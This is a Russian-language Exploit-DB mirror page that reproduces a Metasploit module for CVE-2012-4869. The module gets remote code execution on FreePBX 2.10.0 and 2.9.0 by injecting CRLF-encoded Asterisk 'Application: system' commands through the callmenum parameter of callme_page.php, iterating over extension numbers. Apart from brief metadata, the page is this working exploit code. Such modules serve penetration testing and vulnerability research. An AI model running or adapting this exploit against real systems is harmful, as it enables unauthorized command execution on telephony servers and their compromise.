- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 18659
- Проверка EDB
-
- Пройдено
- Автор
- METASPLOIT
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2012-4869
- Дата публикации
- 2012-03-24
Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
'Description' => %q{
This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
Due to the way callme_page.php handles the 'callmenum' parameter, it
is possible to inject code to the '$channel' variable in function
callme_startcall in order to gain remote code execution.
Please note in order to use this module properly, you must know the
extension number, which can be enumerated or bruteforced, or you may
try some of the default extensions such as 0 or 200. Also, the call
has to be answered (or go to voice).
Tested on both Elastix and FreePBX ISO image installs.
},
'Author' => [ 'muts','Martin Tschirsich' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 20 2012'))
register_options(
[
OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
], self.class)
end
def exploit
# Check range input
if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
min = $1.to_i
max = $2.to_i
else
print_error("Please specify a range for option 'EXTENSION'")
return
end
cmd = Rex::Text.uri_encode(payload.encoded)
(min..max).each do |e|
connect
print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
res = send_request_raw({
'method' => 'GET',
'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
'version' => '1.0',
'vhost' => rhost
})
handler
disconnect
end
end
end
- Источник
- www.exploit-db.com